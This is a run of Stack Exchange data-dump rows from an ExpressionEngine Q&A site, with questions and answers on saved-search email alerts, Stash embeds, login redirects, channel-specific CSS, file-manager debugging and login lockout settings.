  <row Id="947" PostTypeId="1" AcceptedAnswerId="949" CreationDate="2012-12-02T20:57:36.007" Score="6" ViewCount="862" Body="&lt;p&gt;Ok, what I'm trying to do is build a feature for a real estate website that will allow users to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;register on the site, &lt;/li&gt;&#xA;&lt;li&gt;do a search of properties stored in a channel, &lt;/li&gt;&#xA;&lt;li&gt;save the search criteria, &lt;/li&gt;&#xA;&lt;li&gt;then receive an email alert when a new property is added that matches their saved search&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've done some research on this and there doesn't seem to be a straightforward way to do this in EE. I've seen MX Notify Control addon but it seems that this would alert on all new entries to a channel to all users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what I'm thinking of doing. I'm hoping I could get some input from the EE community on what they think of this approach, is it overcomplicating things or maybe there's a suggestion for a better approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here goes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install Solspace Super Search and Email-from-Template addons&lt;/li&gt;&#xA;&lt;li&gt;Allow users to register on the site using native EE functionality&lt;/li&gt;&#xA;&lt;li&gt;Users can then search the entries in a &quot;Property&quot; channel based on keyword, price, location and/or status.&lt;/li&gt;&#xA;&lt;li&gt;Then allow users to save their search using Solspace Super Search and their Save Search Form tag&lt;/li&gt;&#xA;&lt;li&gt;I could create a standalone page then that loops through all saved searches using the exp:super_search:history tag, pull out the search criteria, use that criteria to do a search of the property channel and limit the results to ones added in the last 24 hours only.&lt;/li&gt;&#xA;&lt;li&gt;If entries are retrieved, create an html email with the property details and send the mail using Email-from-Template addon or possibly through Postmark App or similar.&lt;/li&gt;&#xA;&lt;li&gt;Set up a cronjob to run this page every 24 hours at a quiet time of the day, e.g. 4am&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, that's what I'm thinking. I know this page could become quite resource intensive with loops within loops (the more members and saved searches, the longer it will take to process) but I can't think of another way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody got any suggestions, ideas or pitfalls I should consider?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe I should write a custom addon to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2014-09-04T09:31:51.017" Title="How can I build an auto email alert system based on saved searches?" Tags="|email|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="948" PostTypeId="2" ParentId="946" CreationDate="2012-12-02T21:12:59.403" Score="7" Body="&lt;p&gt;Stash doesn't parse preload_replace. But they will work if you use process=&quot;start&quot; with the stash embed, since that effectively includes the sub template code in the host template prior to preload_replace being parsed by EE. However, be aware that if you need to access stash vars captured in the host template then you need to use process=&quot;end&quot; (the default) due to parse order; also process=&quot;start&quot; templates cannot be pre-rendered (parse_stage=&quot;set&quot;) since the EE parser is not initialised at the point the template is included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is off-topic but addresses your comment about performance above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default a Stash embed works in a similar way to an EE template, and you will not see a performance gain if you are just including one or two templates in a host template. If you nest your stash templates or use them multiple times then you will notice a gain. And if you 'tune' your embeds  - by which I mean choose to pre-render and cache parts or the whole of your template and experiment with parse_depth, parse_vars etc - then you will see significant gains. You should also disable file sync ('stash_file_sync'=false) on your production environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other significant advantage of a stash embed is that you can have multiple cached instances of the &lt;em&gt;same&lt;/em&gt; template. That is possible because you can specify a file name separately from the variable name for the embed. This can be helpful for caching things like submenus which might share the same generation code but have different output for the various sections of your site.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-12-02T21:12:59.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="949" PostTypeId="2" ParentId="947" CreationDate="2012-12-02T21:19:23.953" Score="5" Body="&lt;p&gt;Not a complete answer though, I feel it could be one piece of the puzzle or at least an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you checked out Postmaster yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot;&gt;http://devot-ee.com/add-ons/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Postmaster is the definitive solution for emailing channel entries&#xA;  within ExpressionEngine. Create beautiful email templates using the&#xA;  live preview, and impose extremely fine levels of control to send&#xA;  emails exactly when you want. Whether it be from the publish entries&#xA;  page in the control, to Safecracker on the front-end, or in a custom&#xA;  application using the channel entries API, Postmaster is the perfect&#xA;  for almost any application.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Postmaster supports a variety of email services including MailChimp,&#xA;  CampaignMonitor, SendGrid, Postmark, PostageApp, and even a full&#xA;  featured API to create your own.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-02T21:19:23.953" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="950" PostTypeId="2" ParentId="563" CreationDate="2012-12-02T21:22:56.970" Score="2" Body="&lt;p&gt;Lately I have been using this as the default gitignore for non-EE projects and I was thinking of adapting it for EE. i'm open for suggestions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ignore everything apart from php, css, xml, htaccess, sql, js&#xA;*&#xA;!*/&#xA;!*.php&#xA;!*.css&#xA;!*.xml&#xA;!*.htaccess&#xA;!*.sql&#xA;!*.js&#xA;!*.shtml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="384" LastActivityDate="2012-12-02T21:22:56.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="951" PostTypeId="2" ParentId="947" CreationDate="2012-12-02T21:39:06.957" Score="1" Body="&lt;p&gt;Hmm, i'm not familiar with how solspace saves it's search, but i'd say you could achieve what you need in a template in the way you describe, possibly with a little bit of php thrown in too. How resource intensive it is will all depend on how many properties / saved searches you have and how complex your template is too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, onto a add-on, well you could create one with an ACT id for your cron to hit, that way you would avoid the whole EE template parser to do your job so it would be much more efficient. Of course, dependent on how Super Search stores it's data, you would need to decode that and work it into your queries / data structures that you're using to match new properties with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, i think doing it in a template with a little bit of php would be much much less work for you, and i doubt the processing overhead would be anything to worry about unless your site is likely to see an awful lot of users or you're running it on really low powered shared hosting. On the other hand, the add-on route would be lots more work for you, but be much more efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your choice depends on your expected site usage i guess. I hope that answers your question adequately!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-12-02T21:39:06.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="952" PostTypeId="1" AcceptedAnswerId="953" CreationDate="2012-12-02T23:53:37.537" Score="4" ViewCount="116" Body="&lt;p&gt;I have two forms on a page, the first one is generated by exp:autheticate, and the second is a normal handwritten form. Both are triggered by javascript submits. The authenticate form seems to be sending me to the action of the second form on success, rather than the return param.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;panel front&quot;&amp;gt;&#xA;    {exp:authenticate:login_form&#xA;        auth_type=&quot;email&quot;&#xA;        username_field=&quot;email&quot;&#xA;        secure_return=&quot;yes&quot;&#xA;        class=&quot;cf&quot;&#xA;        id=&quot;login-form&quot;&#xA;        return=&quot;/welcome&quot;}&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; placeholder=&quot;Email&quot; id=&quot;email&quot; class=&quot;i2&quot;/&amp;gt;&#xA;          &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; placeholder=&quot;Password&quot; id=&quot;password&quot; class=&quot;i2&quot;/&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot; id=&quot;login-submit&quot; data-submit=&quot;login-form&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;          &amp;lt;div class=&quot;divider&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot; id=&quot;login-join&quot; data-toggle=&quot;Join&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;      {/exp:authenticate:login_form}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;panel back&quot;&amp;gt;&#xA;      &amp;lt;form action=&quot;https://whatever.com/apply&quot; accept-charset=&quot;utf-8&quot; method=&quot;post&quot; class=&quot;cf&quot; id=&quot;apply-quick-form&quot; name=&quot;&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;newemail&quot; value=&quot;&quot; placeholder=&quot;Email&quot; id=&quot;newemail&quot; class=&quot;i2&quot;/&amp;gt;&#xA;          &amp;lt;div class=&quot;invite-code&quot; data-script=&quot;InviteCode&quot; class=&quot;i2&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;#/invite&quot;&amp;gt;Have an invite code?&amp;lt;/a&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;invcode&quot; value=&quot;&quot; placeholder=&quot;Invite code (optional)&quot; id=&quot;invcode&quot; class=&quot;i2&quot;/&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot; id=&quot;login-submit&quot; data-toggle=&quot;Login&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;          &amp;lt;div class=&quot;divider&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;          &amp;lt;a href=&quot;#&quot; id=&quot;login-join&quot; data-submit=&quot;apply-quick-form&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Seems it was an interaction with twomile_login_redirect that was the issue. That plugin tracks a previous requested URL in a session variable, and forces you to redirect to THAT url once logged in. I haven't solved the problem yet, but have tracked it down to that interaction.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="101" LastEditDate="2012-12-03T01:06:07.103" LastActivityDate="2012-12-03T01:13:04.230" Title="Authenticate is returning to a different page than the return param" Tags="|forms|authenticate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="953" PostTypeId="2" ParentId="952" CreationDate="2012-12-03T01:13:04.230" Score="4" Body="&lt;p&gt;Since you fixed the redirect issue, I thought I would tell you how I handle the redirect stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On restricted templates I will add the following tag. The tag will vary based on the size of the page URL. I like this approach because it avoid Cookies and local session vars, which are restricted in some parts of the world.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}{redirect=&quot;/login/return/{segment_1}/{segment_2}/{segment_3}&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you would make your Authenticate tag like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:authenticate:login_form return_var=&quot;return&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will tell Authenticate to return to the URI after the &quot;return&quot; segment. There are a number of other ways to this, but I have been able to use some technique pretty much across the board with much success. Definitely not the only way to solve the problem though, nor the solution for everyone.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-03T01:13:04.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="954" PostTypeId="1" AcceptedAnswerId="957" CreationDate="2012-12-03T02:24:32.890" Score="4" ViewCount="368" Body="&lt;p&gt;I have four different channels and three different channel-specific CSS files (two get the same CSS). What's the best way to go about loading these CSS files depending on the channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'm using Structure, so my URI won't necessarily contain the channel information.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-01-04T15:44:14.597" Title="How can I load different CSS files, depending on the channel?" Tags="|channel|structure|css|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="955" PostTypeId="2" ParentId="954" CreationDate="2012-12-03T02:35:17.833" Score="3" Body="&lt;p&gt;It depends how your templates are put together, but in my case, I have a single embedded template which contains the overall layout so I would pass an embed variable e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layout&quot; css_file=&quot;your_file&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in the layout template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:css_file}&amp;lt;link href=&quot;{embed:css_file}&quot;&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-03T02:35:17.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="956" PostTypeId="2" ParentId="954" CreationDate="2012-12-03T02:41:48.497" Score="1" Body="&lt;p&gt;You might need to use some stash magic to pull out the channel url_title and make sure you can put that in the CSS file name or use switchee to check cases and assign a specific CSS file is that condition is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I don't think you've given us enough information to really give you a more complete answer. Can you give us a little more about your channel naming convention and the Structure URIs you have planned?&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2012-12-03T12:00:23.040" LastActivityDate="2012-12-03T12:00:23.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="957" PostTypeId="2" ParentId="954" CreationDate="2012-12-03T02:52:53.423" Score="9" Body="&lt;p&gt;I think the easiest way would be to make sure that your call to the css file is within your channel entries loop and that you name your css files the same as your channel short names.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot;}&#xA;&amp;lt;head&amp;gt;&#xA; &amp;lt;link href=&quot;path/to/css/folder/{channel}_styles.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;{title}&#xA;{other_channel_fields}&#xA;&amp;lt;/body&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example your css file name would be &quot;blog_styles.css&quot; and your channel would be &quot;blog&quot; for the sylesheet that is shared across multiple channels I would create a stylesheet for each channel shortname then I would &lt;code&gt;@import&lt;/code&gt; another css file so you are not duplicating the styles across 2 templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not serving a single entry make sure that you wrap your css file declaration in &lt;code&gt;{if count == 1}&lt;/code&gt; like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;&amp;lt;head&amp;gt;&#xA;{if count == 1}&#xA; &amp;lt;link href=&quot;path/to/css/folder/{channel}_styles.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;{/if}&#xA;&amp;lt;/head&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should also mention that you could also use the channel name in a conditional to load specific files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;&amp;lt;head&amp;gt;&#xA; {if channel == &quot;blog&quot;}&#xA;  &amp;lt;link href=&quot;path/to/blogs_css_file.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA; {/if}&#xA; {if channel == &quot;about&quot;}&#xA;  &amp;lt;link href=&quot;path/to/about_css_file.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA; {/if}&#xA;&amp;lt;/head&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2012-12-03T03:50:31.733" LastActivityDate="2012-12-03T03:50:31.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="958" PostTypeId="2" ParentId="888" CreationDate="2012-12-03T04:13:06.723" Score="2" Body="&lt;p&gt;I don't pre-populate channels and fields because my sites tend to be slightly different and sometimes I like to try a different approach to solving the same problem. That being said, what I do can be modified to add channels/fields. I built a default install with a set of free add-ons I use all the time that make development easier (Switch:ee, If/Else, Responsive CP, etc.) I created a DRY config file that only requires a few setting changes when duplicating this site. Once I setup all the add-ons and config files I export a .sql file from Sequel Pro and save this at the root of my default site. When I need a new site I create an entry in my httpd_vhosts.conf and hosts files, duplicate the directory, import the DB using Sequel Pro, make the necessary changes to my config file and voila, I have a new site up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you could certainly setup as many channels and fields that you believe are common from site to site right after setting up your default install. When you import the DB to your server (in my above case it's a local dev server) the channels and fields come along for the ride. You could also place all these files into git, something I'm learning more about so I can do just that. Carl Crawley did a presentation at EECIConf 2012 that made this process take less than a minute and all managed and updated through git but my manual approach only takes about 5 minutes to go from nothing to a new site.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2012-12-08T22:48:31.177" LastActivityDate="2012-12-08T22:48:31.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="959" PostTypeId="1" AcceptedAnswerId="961" CreationDate="2012-12-03T08:13:39.920" Score="4" ViewCount="332" Body="&lt;p&gt;&lt;strong&gt;IMPORTANT:&lt;/strong&gt;  It turned out that this question couldn't really be answered based on the info I had provided, and it wasn't possible for me to provide enough info to make it answerable.  Tom provided the best steps for debugging this type of issue in a normal situation so I'm giving it to him, but in my case the issue being that some changes to core that are not released yet, were causing problems in the way that Secure form processing worked.  Turning of secure form processing until this issue is remedied was the solution that worked for me.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Question:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm running the latest version of ExpressionEngine, and I'm a little stuck with a file field.  Oh why oh why did I enable that? The issue I'm having is with the file modal that pops up either on adding a file in a file field or the clicking the little image icon by other fields.  I can type whatever I want in the search field, or toggle the sorts, but the contents stay the same.  Likewise the pagination links don't work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UhSES.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are a number of files in that folder with names that begin in 121130.  There seems to be no way to navigate around and find the file I want to add so I'm stuck.  I'd love any of three types of advice listed in order of usefulness:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I convert this file field back to a plain input field&#xA;without losing the path information: {filedir_11}filename ? &lt;/li&gt;&#xA;&lt;li&gt;How can I debug this issue and figure out how to make it work?&lt;/li&gt;&#xA;&lt;li&gt;How can I manually modify the contents of this file field entry, even directly in the database to get the file I want selected even if the file modal doesn't work?&lt;/li&gt;&#xA;&lt;li&gt;Am I the only one having this issue?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update:&lt;/strong&gt; I had already gone into the inspector and seen that requests were fired off to admin.php (renamed to mcp.php in my case), but I didn't exactly know what a proper query looked like.  &lt;a href=&quot;https://expressionengine.stackexchange.com/a/961/268&quot;&gt;Tom's Answer&lt;/a&gt; contained a helpful screenshot of what a request and response looks like.  I find that mine is making queries, but the request seems to maybe be getting redirected and losing the query in the process.  Here are some screenshots to illustrate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WoKu6.png&quot; alt=&quot;requests after query entered&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you see that when I click into the search window it loads two images, then when I type a 1 it fires a request from jquery.js to mcp.php which then seems to get 302 redirected twice before getting a response useless to jquery:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/16AD2.png&quot; alt=&quot;jquery gets back cp html&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the response for that third request (the others resulted in a 302 so obviously returned nothing) As you can see it is returning html, not json.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now the issue becomes figuring out where those redirects are coming from.  Do I need to look to Apache?  I'm not immediately seeing anything there that should be causing this, but it is possible I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;: I thought I had this thing licked.  I went into my admin.php file and found where I had set a non https link to the control panel in the Multi-Site Manager settings.  I know I have a redirect set in apache to redirect all non ssl requests for the control panel through to ssl, so I thought that would get rid of at least one of those redirects… Result: no change.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-12-06T05:40:16.867" Title="file modal, doesn't act on any search/filtering" Tags="|control-panel|file-uploads|javascript|redirects|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="960" PostTypeId="2" ParentId="959" CreationDate="2012-12-03T09:14:20.963" Score="1" Body="&lt;p&gt;I admit to not using the field_type file, primarily because I like having more control over images. I typically either have clients use the file upload button and then entire the name of the file in a text field or use a different field type, like Assets (from Pixel &amp;amp; Tonic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From testing, at least on my Mac running Mountain Lion and Safari 6.0.2, I'd say there is a a javascript issue. When you type in the initial filter, if it doesn't start limiting the field immediately, I'd look at file synchronization and or javascript as the issue. I've included some troubleshooting steps below, but first…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not too opposed to losing the {filedir_11}filename, I'd recommend the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming most images belong to various sections of your site, and that you store images in associated folders (example: About Section images are stored in /images/about/ ). Then you can just create the appropriate template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{domain}/images/{section}/{field_name}&quot; alt=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For images in content, I've found the file upload under the textarea still works for inserting an image in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I really do love Assets by Pixel &amp;amp; Tonic. I find it a really great file manager. Others may prefer Channel Images by DevDemon, I haven't used it. If your project can't afford that, but already has the Matrix field type, that also works very well at managing images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to get the File field_type working properly, I suggest…&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Turn on Debugging Options&lt;/strong&gt;- if your images aren't separated into multiple directories the issues could just be the amount of time it takes to filter. Even with Assets, I find a directory with over 200 images can take a while to filter. But Assets provides visual feedback that it's still working.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Group Images Into Folders&lt;/strong&gt;- this goes with the above, but the less items per directory the better. A directory of 50 images will always be more responsive that a directory of 300 images, so instead of just using /images use folders like /images/about/, /images/howto/, /images/reviews/, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Review Any Control Panel Modifiers&lt;/strong&gt;- things like 'Responsive CP', Control Panel Themes (I use Nerdery to change pink to blue), etc. It's possible that something is just confusing the File Browser.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Make Sure Image Directories Are Synchronized&lt;/strong&gt; - This is new in EE2, but see: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/sync_files.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/content/files/sync_files.html&lt;/a&gt; In the File Upload Preferences, there is a new synchronize option. I believe this creates a database reference for all items in the directory, so javascripts are processed faster. Scanning a file directory can be a bit longer than a MySQL query. It's possible, that once all images are properly sync'd that your keywords filter may start filtering again. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-03T09:14:20.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="961" PostTypeId="2" ParentId="959" CreationDate="2012-12-03T09:14:49.367" Score="3" Body="&lt;p&gt;Let's take a crack at (2) first of all, because it seems to me like getting this working using the File FT will require the least mucking about in total. When you use the search box in the file manager modal, an ajax request should fire off back to the CP to look for results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R6Ip7.png&quot; alt=&quot;ajax request&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that request firing (see the &quot;network&quot; tab of your web inspector), and if so what does the response look like? It should return a bunch of JSON (even if there are no matching results).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CWpCt.png&quot; alt=&quot;ajax response&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update your question with the answers to those two questions and we'll go from there.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-03T09:14:49.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="962" PostTypeId="2" ParentId="909" CreationDate="2012-12-03T09:20:04.820" Score="4" Body="&lt;p&gt;It's normal that EE restricts logins based on IP address. Restricting on user agent wouldn't be much use, because a malicious script could just change the user agent for every request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the normal EE error message is &lt;code&gt;You are only permitted to make four login attempts every 1 minute(s)&lt;/code&gt;. You must have increased this from 1 minute to 30 minutes, which is clearly unusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the control panel, go to &lt;strong&gt;Admin&lt;/strong&gt; &gt; &lt;strong&gt;Security &amp;amp; Privacy&lt;/strong&gt; &gt; &lt;strong&gt;Security and Sessions&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There, you will find the setting: &lt;strong&gt;Time Interval for Lockout&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set this back to &lt;code&gt;1&lt;/code&gt;, or if that is still too long for you, even &lt;code&gt;0.5&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After changing this session, you probably also want to empty the &lt;code&gt;exp_password_lockout&lt;/code&gt; table to remove any lockouts currently in effect.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-03T09:20:04.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="963" PostTypeId="2" ParentId="930" CreationDate="2012-12-03T10:24:55.003" Score="3" Body="&lt;p&gt;I would suggest you use Playa for your categories.&#xA;That will make it easy for your client to edit/add or delete categories.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It looks nice!&lt;/li&gt;&#xA;&lt;li&gt;ease of use. (&lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/playa/docs/templates&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;You can add a lot of extra fields to a single category.&lt;/li&gt;&#xA;&lt;li&gt;Restrict that the client can select only one option (in this case a category).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="248" LastEditorUserId="174" LastEditDate="2012-12-03T11:34:25.667" LastActivityDate="2012-12-03T11:34:25.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="964" PostTypeId="1" AcceptedAnswerId="968" CreationDate="2012-12-03T11:42:07.980" Score="3" ViewCount="226" Body="&lt;p&gt;I'm trying to do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_tag my-param2=&quot;1&quot; my-param2=&quot;2&quot;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;ul&amp;gt;&#xA;    {my_fields}&#xA;        &amp;lt;li&amp;gt;{field_label}: {field_value}&amp;lt;/li&amp;gt;&#xA;    {/my_fields}&#xA;    &amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:my_tag}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do it with a simple TMPL-&gt;parse_variables() or should I put in place something more complex?&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2012-12-03T12:19:27.843" Title="How to create module tag output 'sub-loop'" Tags="|add-on|php|module|parsing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
